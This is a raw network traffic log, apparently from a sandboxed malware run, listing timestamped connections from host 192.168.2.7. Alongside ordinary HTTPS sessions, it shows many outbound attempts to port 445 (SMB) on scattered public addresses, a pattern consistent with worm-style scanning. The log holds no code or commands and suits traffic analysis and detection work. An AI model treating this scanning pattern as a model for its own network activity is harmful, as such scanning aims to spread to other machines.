Jul 20, 2022 19:32:45.087512016 CEST	54670	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.088975906 CEST	54670	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.132497072 CEST	443	54670	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.163100004 CEST	443	54670	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.163172960 CEST	443	54670	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.163278103 CEST	54670	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.163300037 CEST	54670	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.177176952 CEST	54670	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.177206993 CEST	443	54670	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.177213907 CEST	54670	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.178662062 CEST	54670	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.212874889 CEST	54717	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.212912083 CEST	443	54717	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.213002920 CEST	54717	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.218394995 CEST	54717	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.218419075 CEST	443	54717	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.360677004 CEST	443	54717	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.360980988 CEST	54717	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.367218018 CEST	54717	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.367235899 CEST	443	54717	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.440778971 CEST	54717	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.440799952 CEST	443	54717	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.498485088 CEST	54719	445	192.168.2.7	51.158.189.57
Jul 20, 2022 19:32:45.504750013 CEST	54720	445	192.168.2.7	131.153.221.48
Jul 20, 2022 19:32:45.529170990 CEST	443	54717	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.529237986 CEST	443	54717	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.529325962 CEST	54717	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.536401987 CEST	54721	445	192.168.2.7	213.142.151.83
Jul 20, 2022 19:32:45.593779087 CEST	445	54721	213.142.151.83	192.168.2.7
Jul 20, 2022 19:32:45.596694946 CEST	54721	445	192.168.2.7	213.142.151.83
Jul 20, 2022 19:32:45.596925974 CEST	54721	445	192.168.2.7	213.142.151.83
Jul 20, 2022 19:32:45.654205084 CEST	445	54721	213.142.151.83	192.168.2.7
Jul 20, 2022 19:32:45.654226065 CEST	445	54721	213.142.151.83	192.168.2.7
Jul 20, 2022 19:32:45.654428959 CEST	54721	445	192.168.2.7	213.142.151.83
Jul 20, 2022 19:32:45.654608011 CEST	54717	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.654628038 CEST	443	54717	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.654638052 CEST	54717	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.654675961 CEST	54717	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.660837889 CEST	54724	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.660880089 CEST	443	54724	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.661005974 CEST	54724	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.662190914 CEST	54724	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.662210941 CEST	443	54724	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.711781979 CEST	445	54721	213.142.151.83	192.168.2.7
Jul 20, 2022 19:32:45.713676929 CEST	54721	445	192.168.2.7	213.142.151.83
Jul 20, 2022 19:32:45.724143028 CEST	54731	445	192.168.2.7	109.106.133.230
Jul 20, 2022 19:32:45.730036020 CEST	54732	445	192.168.2.7	106.65.151.220
Jul 20, 2022 19:32:45.734726906 CEST	54733	445	192.168.2.7	23.170.108.231
Jul 20, 2022 19:32:45.735224962 CEST	54737	445	192.168.2.7	91.208.80.44
Jul 20, 2022 19:32:45.753274918 CEST	54740	445	192.168.2.7	213.121.16.157
Jul 20, 2022 19:32:45.753966093 CEST	54742	445	192.168.2.7	2.120.190.165
Jul 20, 2022 19:32:45.754251957 CEST	54744	445	192.168.2.7	128.208.35.99
Jul 20, 2022 19:32:45.754651070 CEST	54745	445	192.168.2.7	38.91.18.82
Jul 20, 2022 19:32:45.771023035 CEST	445	54721	213.142.151.83	192.168.2.7
Jul 20, 2022 19:32:45.804348946 CEST	443	54724	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.804441929 CEST	54724	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.805454016 CEST	54724	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.805473089 CEST	443	54724	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.833805084 CEST	54746	445	192.168.2.7	213.142.151.84
Jul 20, 2022 19:32:45.862726927 CEST	54724	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.862746000 CEST	443	54724	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.921781063 CEST	54747	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:45.921830893 CEST	443	54747	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:45.922976017 CEST	54747	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:45.932931900 CEST	54747	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:45.932984114 CEST	443	54747	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:45.952744007 CEST	54752	445	192.168.2.7	72.28.99.249
Jul 20, 2022 19:32:45.953336954 CEST	443	54724	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.953428984 CEST	54724	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.953454971 CEST	443	54724	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.953485012 CEST	443	54724	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.953510046 CEST	54724	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.953537941 CEST	54724	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.954821110 CEST	54756	445	192.168.2.7	114.102.20.1
Jul 20, 2022 19:32:45.955773115 CEST	54758	445	192.168.2.7	132.107.234.245
Jul 20, 2022 19:32:45.956290007 CEST	54759	445	192.168.2.7	147.8.50.132
Jul 20, 2022 19:32:45.957278967 CEST	54761	445	192.168.2.7	174.186.242.131
Jul 20, 2022 19:32:45.959711075 CEST	54763	445	192.168.2.7	30.222.12.181
Jul 20, 2022 19:32:45.981137991 CEST	54764	445	192.168.2.7	218.193.115.202
Jul 20, 2022 19:32:45.985929966 CEST	54724	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.985956907 CEST	443	54724	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.985966921 CEST	54724	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.987050056 CEST	54724	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.989979029 CEST	54765	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.990008116 CEST	443	54765	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.990394115 CEST	54765	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.990930080 CEST	54765	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:45.990951061 CEST	443	54765	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:45.994780064 CEST	54771	445	192.168.2.7	222.10.102.195
Jul 20, 2022 19:32:45.994793892 CEST	54773	445	192.168.2.7	78.234.67.61
Jul 20, 2022 19:32:45.995024920 CEST	54777	445	192.168.2.7	204.139.234.94
Jul 20, 2022 19:32:45.995152950 CEST	54781	445	192.168.2.7	211.90.87.242
Jul 20, 2022 19:32:45.995243073 CEST	54782	445	192.168.2.7	74.62.134.16
Jul 20, 2022 19:32:45.995280981 CEST	54783	445	192.168.2.7	182.92.10.221
Jul 20, 2022 19:32:45.999582052 CEST	54785	445	192.168.2.7	199.171.142.125
Jul 20, 2022 19:32:46.001228094 CEST	54786	445	192.168.2.7	178.151.181.0
Jul 20, 2022 19:32:46.001400948 CEST	54787	445	192.168.2.7	3.225.30.228
Jul 20, 2022 19:32:46.001564980 CEST	54791	445	192.168.2.7	97.38.152.159
Jul 20, 2022 19:32:46.001588106 CEST	54789	445	192.168.2.7	89.88.29.7
Jul 20, 2022 19:32:46.001686096 CEST	54792	445	192.168.2.7	18.250.236.212
Jul 20, 2022 19:32:46.045056105 CEST	54794	445	192.168.2.7	121.3.139.5
Jul 20, 2022 19:32:46.138967037 CEST	443	54765	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.139151096 CEST	54765	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.142112017 CEST	54765	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.142123938 CEST	443	54765	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.145167112 CEST	54765	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.145179033 CEST	443	54765	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.237121105 CEST	443	54765	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.237185955 CEST	443	54765	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.237201929 CEST	54765	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.237276077 CEST	54765	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.264971972 CEST	54765	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.264988899 CEST	443	54765	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.265033007 CEST	54765	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.266997099 CEST	54795	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.267026901 CEST	443	54795	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.267143965 CEST	54795	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.267410994 CEST	54795	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.267422915 CEST	443	54795	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.267606020 CEST	54765	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.409197092 CEST	443	54795	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.409254074 CEST	54795	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.409944057 CEST	54795	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.409953117 CEST	443	54795	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.414391994 CEST	54795	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.414405107 CEST	443	54795	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.440922976 CEST	443	54747	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:46.441015959 CEST	54747	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:46.447009087 CEST	54747	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:46.447020054 CEST	443	54747	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:46.447319984 CEST	443	54747	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:46.449074984 CEST	54747	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:46.492492914 CEST	443	54747	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:46.528295040 CEST	443	54795	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.528376102 CEST	443	54795	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.528393030 CEST	54795	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.528418064 CEST	54795	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.528860092 CEST	54795	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.528873920 CEST	443	54795	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.528898954 CEST	54795	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.528943062 CEST	54795	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.530760050 CEST	54797	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.530786037 CEST	443	54797	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.530877113 CEST	54797	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.531182051 CEST	54797	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.531191111 CEST	443	54797	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.575464010 CEST	54798	445	192.168.2.7	51.158.189.58
Jul 20, 2022 19:32:46.575932980 CEST	54799	445	192.168.2.7	131.153.221.49
Jul 20, 2022 19:32:46.692647934 CEST	443	54797	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.693675995 CEST	54797	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.698153973 CEST	54797	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.698164940 CEST	443	54797	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.700663090 CEST	54797	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.700674057 CEST	443	54797	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.759309053 CEST	443	54797	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.759430885 CEST	443	54797	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.759591103 CEST	54797	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.759821892 CEST	54797	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.759840965 CEST	443	54797	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.759855986 CEST	54797	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.759918928 CEST	54797	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.780206919 CEST	443	54747	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:46.780241013 CEST	443	54747	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:46.780263901 CEST	443	54747	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:46.780340910 CEST	54747	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:46.780381918 CEST	443	54747	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:46.780400038 CEST	443	54747	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:46.780433893 CEST	443	54747	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:46.780505896 CEST	54747	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:46.780519962 CEST	443	54747	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:46.780529976 CEST	54747	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:46.780555010 CEST	443	54747	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:46.780600071 CEST	54747	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:46.783770084 CEST	54747	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:46.783795118 CEST	443	54747	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:46.784027100 CEST	54747	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:46.784037113 CEST	443	54747	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:46.841706991 CEST	54802	445	192.168.2.7	40.117.144.149
Jul 20, 2022 19:32:46.842516899 CEST	54803	445	192.168.2.7	54.87.253.181
Jul 20, 2022 19:32:46.849478960 CEST	54807	445	192.168.2.7	148.152.155.111
Jul 20, 2022 19:32:46.849740982 CEST	54816	445	192.168.2.7	11.59.126.151
Jul 20, 2022 19:32:46.851888895 CEST	54817	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.851919889 CEST	443	54817	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.852027893 CEST	54817	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.852951050 CEST	54817	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.852965117 CEST	443	54817	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.872653008 CEST	54818	445	192.168.2.7	109.158.163.172
Jul 20, 2022 19:32:46.873423100 CEST	54819	445	192.168.2.7	208.34.28.47
Jul 20, 2022 19:32:46.874456882 CEST	54821	445	192.168.2.7	201.121.90.88
Jul 20, 2022 19:32:46.874972105 CEST	54822	445	192.168.2.7	51.88.169.32
Jul 20, 2022 19:32:46.892611027 CEST	80	49719	93.184.220.29	192.168.2.7
Jul 20, 2022 19:32:46.892729044 CEST	49719	80	192.168.2.7	93.184.220.29
Jul 20, 2022 19:32:46.911902905 CEST	54824	445	192.168.2.7	213.142.151.85
Jul 20, 2022 19:32:46.912919998 CEST	54825	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:46.912950039 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:46.913052082 CEST	54825	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:46.913547993 CEST	54825	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:46.913561106 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:46.969922066 CEST	445	54824	213.142.151.85	192.168.2.7
Jul 20, 2022 19:32:46.971952915 CEST	54824	445	192.168.2.7	213.142.151.85
Jul 20, 2022 19:32:46.971985102 CEST	54824	445	192.168.2.7	213.142.151.85
Jul 20, 2022 19:32:46.973278046 CEST	54826	445	192.168.2.7	213.142.151.85
Jul 20, 2022 19:32:46.987059116 CEST	80	49718	93.184.220.29	192.168.2.7
Jul 20, 2022 19:32:46.987152100 CEST	49718	80	192.168.2.7	93.184.220.29
Jul 20, 2022 19:32:46.998121977 CEST	443	54817	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:46.998243093 CEST	54817	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.999862909 CEST	54817	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:46.999878883 CEST	443	54817	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.002994061 CEST	54817	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.003005981 CEST	443	54817	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.026921988 CEST	445	54826	213.142.151.85	192.168.2.7
Jul 20, 2022 19:32:47.027082920 CEST	54826	445	192.168.2.7	213.142.151.85
Jul 20, 2022 19:32:47.027257919 CEST	54826	445	192.168.2.7	213.142.151.85
Jul 20, 2022 19:32:47.030029058 CEST	445	54824	213.142.151.85	192.168.2.7
Jul 20, 2022 19:32:47.030064106 CEST	445	54824	213.142.151.85	192.168.2.7
Jul 20, 2022 19:32:47.061744928 CEST	54831	445	192.168.2.7	89.183.62.91
Jul 20, 2022 19:32:47.066219091 CEST	54835	445	192.168.2.7	115.17.6.214
Jul 20, 2022 19:32:47.066260099 CEST	54838	445	192.168.2.7	14.192.217.166
Jul 20, 2022 19:32:47.066287994 CEST	54837	445	192.168.2.7	152.196.146.61
Jul 20, 2022 19:32:47.066368103 CEST	54840	445	192.168.2.7	69.195.135.240
Jul 20, 2022 19:32:47.066488981 CEST	54842	445	192.168.2.7	34.157.210.212
Jul 20, 2022 19:32:47.066879988 CEST	443	54817	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.066937923 CEST	443	54817	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.066957951 CEST	54817	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.066988945 CEST	54817	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.067022085 CEST	54817	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.067034006 CEST	443	54817	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.067064047 CEST	54817	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.067086935 CEST	54817	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.068850040 CEST	54843	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.068871021 CEST	443	54843	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.068959951 CEST	54843	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.069215059 CEST	54843	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.069224119 CEST	443	54843	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.081537008 CEST	445	54826	213.142.151.85	192.168.2.7
Jul 20, 2022 19:32:47.108309984 CEST	54844	445	192.168.2.7	22.25.102.118
Jul 20, 2022 19:32:47.113780022 CEST	54847	445	192.168.2.7	109.60.71.168
Jul 20, 2022 19:32:47.120958090 CEST	54854	445	192.168.2.7	102.24.146.108
Jul 20, 2022 19:32:47.122723103 CEST	54855	445	192.168.2.7	121.3.139.6
Jul 20, 2022 19:32:47.125010967 CEST	54857	445	192.168.2.7	110.51.101.211
Jul 20, 2022 19:32:47.125765085 CEST	54858	445	192.168.2.7	189.138.206.219
Jul 20, 2022 19:32:47.126389027 CEST	54859	445	192.168.2.7	35.176.66.96
Jul 20, 2022 19:32:47.127357960 CEST	54861	445	192.168.2.7	30.94.133.132
Jul 20, 2022 19:32:47.127898932 CEST	54862	445	192.168.2.7	179.163.163.13
Jul 20, 2022 19:32:47.128889084 CEST	54864	445	192.168.2.7	63.159.182.41
Jul 20, 2022 19:32:47.130470037 CEST	54866	445	192.168.2.7	94.253.63.56
Jul 20, 2022 19:32:47.131432056 CEST	54867	445	192.168.2.7	131.208.4.138
Jul 20, 2022 19:32:47.132013083 CEST	54868	445	192.168.2.7	222.240.99.225
Jul 20, 2022 19:32:47.151774883 CEST	54871	445	192.168.2.7	101.231.69.243
Jul 20, 2022 19:32:47.191342115 CEST	445	54866	94.253.63.56	192.168.2.7
Jul 20, 2022 19:32:47.209619045 CEST	443	54843	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.209692001 CEST	54843	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.210222006 CEST	54843	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.210232019 CEST	443	54843	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.212210894 CEST	54843	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.212227106 CEST	443	54843	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.278023005 CEST	443	54843	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.278103113 CEST	443	54843	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.278189898 CEST	54843	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.278242111 CEST	54843	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.282084942 CEST	54843	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.282102108 CEST	443	54843	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.282126904 CEST	54843	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.282172918 CEST	54843	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.284883976 CEST	54874	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.284926891 CEST	443	54874	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.285041094 CEST	54874	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.285645008 CEST	54874	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.285656929 CEST	443	54874	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.333633900 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:47.333833933 CEST	54825	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:47.336635113 CEST	54825	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:47.336642027 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:47.336965084 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:47.340976000 CEST	54825	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:47.384491920 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:47.425373077 CEST	443	54874	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.425556898 CEST	54874	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.428174019 CEST	54874	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.428193092 CEST	443	54874	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.431442976 CEST	54874	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.431463003 CEST	443	54874	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.513895035 CEST	443	54874	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.513963938 CEST	443	54874	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.514055967 CEST	54874	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.514105082 CEST	54874	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.514254093 CEST	54874	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.514272928 CEST	443	54874	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.514293909 CEST	54874	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.515392065 CEST	54874	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.517143965 CEST	54876	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.517172098 CEST	443	54876	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.517278910 CEST	54876	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.517581940 CEST	54876	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.517592907 CEST	443	54876	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.610757113 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:47.610786915 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:47.610809088 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:47.610940933 CEST	54825	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:47.610955954 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:47.610972881 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:47.610997915 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:47.611000061 CEST	54825	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:47.611011982 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:47.611046076 CEST	54825	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:47.611051083 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:47.611063004 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:47.611121893 CEST	54825	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:47.611129045 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:47.611141920 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:47.611208916 CEST	54825	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:47.644104958 CEST	54878	445	192.168.2.7	131.153.221.50
Jul 20, 2022 19:32:47.644891024 CEST	54879	445	192.168.2.7	51.158.189.59
Jul 20, 2022 19:32:47.649159908 CEST	54825	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:47.649183989 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:47.649193048 CEST	54825	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:47.649202108 CEST	443	54825	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:47.670895100 CEST	443	54876	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:47.671135902 CEST	54876	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:47.717137098 CEST	54880	445	192.168.2.7	45.60.207.6
Jul 20, 2022 19:32:47.733767033 CEST	445	54880	45.60.207.6	192.168.2.7
Jul 20, 2022 19:32:47.733871937 CEST	54880	445	192.168.2.7	45.60.207.6
Jul 20, 2022 19:32:47.734069109 CEST	54880	445	192.168.2.7	45.60.207.6
Jul 20, 2022 19:32:47.750427961 CEST	445	54880	45.60.207.6	192.168.2.7
Jul 20, 2022 19:32:47.750459909 CEST	445	54880	45.60.207.6	192.168.2.7
Jul 20, 2022 19:32:47.751600981 CEST	54880	445	192.168.2.7	45.60.207.6
Jul 20, 2022 19:32:47.751703978 CEST	445	54880	45.60.207.6	192.168.2.7
Jul 20, 2022 19:32:47.751763105 CEST	54880	445	192.168.2.7	45.60.207.6
Jul 20, 2022 19:32:47.754455090 CEST	54880	445	192.168.2.7	45.60.207.6
Jul 20, 2022 19:32:47.769567013 CEST	445	54880	45.60.207.6	192.168.2.7
Jul 20, 2022 19:32:47.772334099 CEST	445	54880	45.60.207.6	192.168.2.7
Jul 20, 2022 19:32:47.830847979 CEST	54882	445	192.168.2.7	45.60.207.7
Jul 20, 2022 19:32:47.838726044 CEST	54876	443	192.168.2.7	20.238.103.94
